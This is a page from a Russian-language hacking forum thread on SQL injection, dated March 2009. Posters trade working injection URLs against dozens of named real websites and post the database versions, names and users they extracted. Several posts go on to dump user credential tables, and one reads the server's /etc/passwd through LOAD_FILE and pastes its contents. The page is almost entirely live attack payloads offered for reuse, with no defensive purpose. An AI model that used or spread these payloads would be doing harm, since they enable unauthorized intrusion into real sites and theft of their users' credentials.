SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 402 of 798
  1. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.bmwstyle.ru/bmw.php?module=news&news_type=cur_id&news_id=-1+union+select+1,concat_ ws(0x3a,version(),database(),user()),3,4,5--
    Database Version : 5.0.67-0ubuntu6
    Database name : www_bmwstyle_ru
    User name : bmwstyle@localhost
     
    #8021 f1ng3r, 1 Mar 2009
    1 person likes this.
  2. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    paraisobahamas.com PR=3

    Code:
    http://paraisobahamas.com/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

    version: 4.1.22-standard-log
    user: paraisob_admin@localhost
    database: paraisob_cms
     
    #8022 S0ulVortex, 1 Mar 2009
  3. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Продолжение славного дела:)

    Продолжение славного дела:)

    Code:
    http://www.danishdesignwatches.eu/prod_detail.php?id=-1+union+all+select+0,1,2,3,4,5,6,concat_ws(version(),user(),database()),8,9,10,11,12,13,14,15,16,17--
    версия/юзер/бд:

    Code:
    [email protected]
    ----------------------------------------------------------

    Code:
    http://www.granietbeurs.nl/website.php?id=-1+union+all+select+convert(concat_ws(version(),user(),database())+using+latin1)--
    версия/юзер/бд:

    Code:
    [email protected]_gran
    ----------------------------------------------------------

    Code:
    http://www.spsrasd.info/fr/detail.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7--
    версия/юзер/бд:

    Code:
    [email protected]
    ---------------------------------------------------------

    Code:
    http://www.digitaccess.fr/category.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15--
    версия/юзер/бд:

    Code:
    [email protected]

    --------------------------------------------------------

    Code:
    http://www.cmgolf.fr/product.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database()),4,5,6,7,8,9--
    версия/юзер/бд:

    Code:
    [email protected]_7etch6-logmy67521
    -------------------------------------------------------

    Code:
    http://www.serema.fr/produit.php?id=-1+union+all+select+0,1,convert(concat_ws(version(),user(),database())+using+latin1),3,4,5,6--
    версия/юзер/бд:

    смотрим в свойствах картинки:)

    Code:
    [email protected]_fr
    --------------------------------------------------

    Code:
    http://www.eliotrope.fr/theme.php?id=-1+union+all+select+0,concat_ws(version(),user(),database())--
    версия/юзер/бд:

    Code:
    [email protected]_7etch8-logeliotrope_base
    ---------------------------------------------------------

    Code:
    http://www.fetedelamusique.culture.fr/page.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database()),4,5,6,7--
    версия/юзер/бд:

    Code:
    [email protected]
    --------------------------------------------------------

    Code:
    http://design-facade.fr/readnews.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5,6,7--
    версия/юзер/бд:

    Code:
    [email protected]
    --------------------------------------------------------

    Code:
    http://www.cshm-schm.ca/fr/event.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4--
    версия/юзер/бд:

    Code:
    [email protected]
    Думаю на первое время вам хватит:)
    -----------------------------------------------------
    The End!
     
    #8023 -m0rgan-, 1 Mar 2009
    Last edited: 1 Mar 2009
    2 people like this.
  4. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 6
    тИЦ: 2300


    Code:
    http://www.sibfair.ru/?current=262&nid=-1+union+select+1,aes_ decrypt(aes_encrypt( concat_ws(0x3a,version(),database(),user()),0x71),0x71),3,4,5,6--
    Database Version : 4.1.16
    Database name : fair
    User name : fair@localhost
     
    #8024 f1ng3r, 1 Mar 2009
    2 people like this.
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.capitaneanubebi.ro/Web/cjasbr/pagina.php?id=-3+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*



    Database Version: 5.0.45-log
    Database name: cjasbr
    User name: [email protected]
     
    #8025 Gorev, 1 Mar 2009
    1 person likes this.
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.webwisesage.com/maxwrite/diarypage.php?did=-9999999999999+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17
    user():database():version()
    [email protected]:xwebwisesage-wws:4.0.2

    Это уязвимый двиг: http://forum.antichat.ru/showpost.php?p=1144179&postcount=98
    PS: Сорри, не увидел, что openwds уже был...
     
    #8026 mailbrush, 1 Mar 2009
    Last edited: 1 Mar 2009
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.voxmarsign.ro/produse-detalii.php?id=-54+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16--&t=8



    Database Version: 5.0.45-log
    Database name: voxmar_sign
    User name: [email protected]
     
    #8027 Gorev, 1 Mar 2009
  8. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.fresno-shopping.com PR=2

    Code:
    http://www.fresno-shopping.com/news.php?ax=v&n=13&id=8&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

    version: 4.1.22-standard-log
    user: fresnosh_user@localhost
    database: fresnosh_cms

    www.manchester-center.com PR=4


    Code:
    http://www.manchester-center.com/news.php?ax=v&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
    version: 4.1.22-standard
    user: manchest_user@localhost
    database: manchest_cms
     
    #8028 S0ulVortex, 1 Mar 2009
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.robkall.com/maxwrite/diarypage.php?did=-999999+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
    user:database:version
    opednews_vidya@localhost:eek:pednews_pearl:4.1.22-standard-log


    Code:
    http://www.awakeningpath.com/maxw/diarypage.php?did=-999999999+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17
    user:database:version
    [email protected]:xawakeningpath-awaken:5.0.70-log
     
    #8029 mailbrush, 1 Mar 2009
    2 people like this.
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.continentalhotels.ro/index.php?page=hotel&id_hotel=3+AND+ASCII(SUBSTRING((select+version()),1,1))>x--

    x=52,46,49,46,50,48,45,108,111,103


    http://www.continentalhotels.ro/index.php?page=hotel&id_hotel=3+AND+ASCII(SUBSTRING((select+database()),1,1))>x--

    x=115,104,99,111,110,116,105,110,101,110,116,97,108,104,111,116,101,108,115,114,111


    http://www.continentalhotels.ro/index.php?page=hotel&id_hotel=3+AND+ASCII(SUBSTRING((select+user()),1,1))>x--

    x=99,111,110,116,105,110,101,110,116,97,108,104,111,114,111,64,56,53,46,57,46,50,50,46,50,51,54

    Version : 4.1.20-log
    Database : shcontinentalhotelsro
    User : [email protected]
     
    #8030 Gorev, 1 Mar 2009
  11. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Ленинградская торгово-промышленная Палата

    Pagerank: 5
    тИЦ: 700

    Code:
    http://www.lotpp.ru/rnews.php?id=-1+union+select+1,concat _ws(0x3a,version(),database(),user()),3,4,5,6,7,8--
    Database Version : 4.1.19-log
    Database name : lotpp2
    User name : lotpp@localhost
     
    #8031 f1ng3r, 1 Mar 2009
  12. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.blacklist-online.ro/?mn=articole&id=-37+union+select+1,2,concat_ws(0x3a,version(),database(),user())


    Database Version: 5.0.32-Debian_7etch1~bpo.1-log
    Database name: saxas_blacklist
    User name: [email protected]
     
    #8032 Gorev, 1 Mar 2009
    2 people like this.
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://arainia.com/software/gizmo/overview.php?nID=-4+union+select+concat(0x3C68313E,user(),0x3a,database(),0x3a,version(),0x3C2F68313E),2,3--
    user:database:version
    [email protected]:xawakeningpath-awaken:5.0.70-log

    Code:
    http://www.espana.ru/rus/index.php?did=-99999999+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8
    user:database:version
    espana@localhost:espana:4.0.27-log
     
    #8033 mailbrush, 1 Mar 2009
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.transylvania-jobs.com/?mn=oferta&id=-13+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--




    Database Version: 5.0.32-Debian_7etch1~bpo.1-log
    Database name: saxas_transylvan
    User name: [email protected]
     
    #8034 Gorev, 1 Mar 2009
    2 people like this.
  15. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 3
    тИЦ: 1300

    Code:
    http://www.poezia.ru/newsline2.php?sid=-1+union+select+concat_ ws(0x3a,version(),database(),user()),2,3,4--
    Database Version : 5.0.27
    Database name : u32983
    User name : u32983@localhost

    юзвери:

    Code:
    http://www.poezia.ru/newsline2.php?sid=-1+union+select+concat _ws(0x3a ,uname,pass),2,3,4+from+users+limit+0,1--
     
    #8035 f1ng3r, 1 Mar 2009
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.mingei.org/exhibitions/detail.php?EID=-99999999+union+select+1,2,concat(0x223E,user(),0x3a,database(),0x3a,version(),0x3C212D2D)/*
    user():database():version()
    mingeior_web@localhost:mingeior_1011:4.1.22-standard
     
    #8036 mailbrush, 1 Mar 2009
    1 person likes this.
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Вот небольной сбор багов на конец дня:)
    Налетай:)

    Code:
    http://www.v-p-c.fr/article.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3--
    юзер/версия/бд:

    Code:
    [email protected] :
    -------------------------------------------------------------

    Code:
    http://www.fpt-soft.com/FR/newsDetail.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8--
    юзер/версия/бд:

    Code:
    [email protected]_fpt_soft_com
    ------------------------------------------------------------

    по сути тот же проект, только с другим доменным именем:)

    Code:
    http://www.fsoft.com.vn/FR/newsDetail.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8--
    юзер/версия/бд:

    Code:
    [email protected]_fpt_soft_com
    -------------------------------------------------------------

    Code:
    http://www.scenarts.fr/fiche_spectacle.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4--
    юзер/версия/бд:

    Code:
    [email protected]
    -------------------------------------------------------------

    Code:
    http://www.rdsm.be/fr/news.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3--

    юзер/версия/бд:

    Code:
    [email protected]
    ----------------------------------------------------------------

    Code:
    http://www.mielapiculteur.fr/faq2.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9,10--
    юзер/версия/бд:


    Code:
    [email protected]
    -----------------------------------------------------------------

    Code:
    http://www.sitetic.fr/prod_detail.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9,10--

    юзер/версия/бд:

    Code:
    [email protected]
    ----------------------------------------------------------------
    The End!
     
    #8037 -m0rgan-, 1 Mar 2009
    1 person likes this.
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ludmilacorlateanu.com/news_details.php?id=-28+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*


    Database Version: 5.0.32-Debian_7etch1~bpo.1-log
    Database name: saxas_lc
    User name: [email protected]
     
    #8038 Gorev, 1 Mar 2009
  19. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    tv.sinn.ru - ВолгаТелеком
    PHP:
    http://tv.sinn.ru/view_all_topic.php?m_id=33955+union+select+1,2,concat_ws(0x3A,user(),version(),database()),4,5,6,7+--+
    tv@localhost
    4.0.18-log
    tv
     
    #8039 AkyHa_MaTaTa, 2 Mar 2009
  20. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 5
    тИЦ: 700

    Code:
    http://www.nordicbook.ru/detailed.php?id=-1+union+select+concat_ ws(0x3a,version(),data base(),user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--&type=Books
    Database Version : 4.1.22
    Database name : db_nordic_1
    User name : [email protected]

    --------------------------------------------#

    Pagerank: 4
    тИЦ: 275

    Code:
    http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3, concat _ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--
    Database Version : 5.0.67
    Database name : Gamestation
    User name : root@localhost

    юзвери:

    Code:
    http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3,concat_ ws(0x3a,user_id,email,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+ps_users--
    читаем /etc/passwd :

    Code:
    http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3,LOAD_FILE(0x2f6574632f706173737764),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3 9,40,41,42,43, 44,45,46,47,48,49,50,51--
    Code:
    # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06
20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/usr/local/bin/
bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner
of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries
Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty
Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/
usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/
usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/
clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind
Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-
user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep
user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/
var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/
spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post
Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World
Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/
nologin mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
dovecot:*:143:143:Dovecot User:/var/empty:/usr/sbin/nologin
volos:*:1000:0::/home/volos:/usr/local/bin/bash
    --------------------------------------------#

    Code:
    http://alterego.of.by/library/showarticle.php?id=71+union+select+1,concat_ ws(0x3a,version(),d atabase(),user()),3,4,5,6--
    Database Version : 4.0.27-log
    Database name : alteregotutby
    User name : [email protected]
     
    #8040 f1ng3r, 2 Mar 2009
    Last edited: 2 Mar 2009
(You must log in or sign up to post here.)
Page 402 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.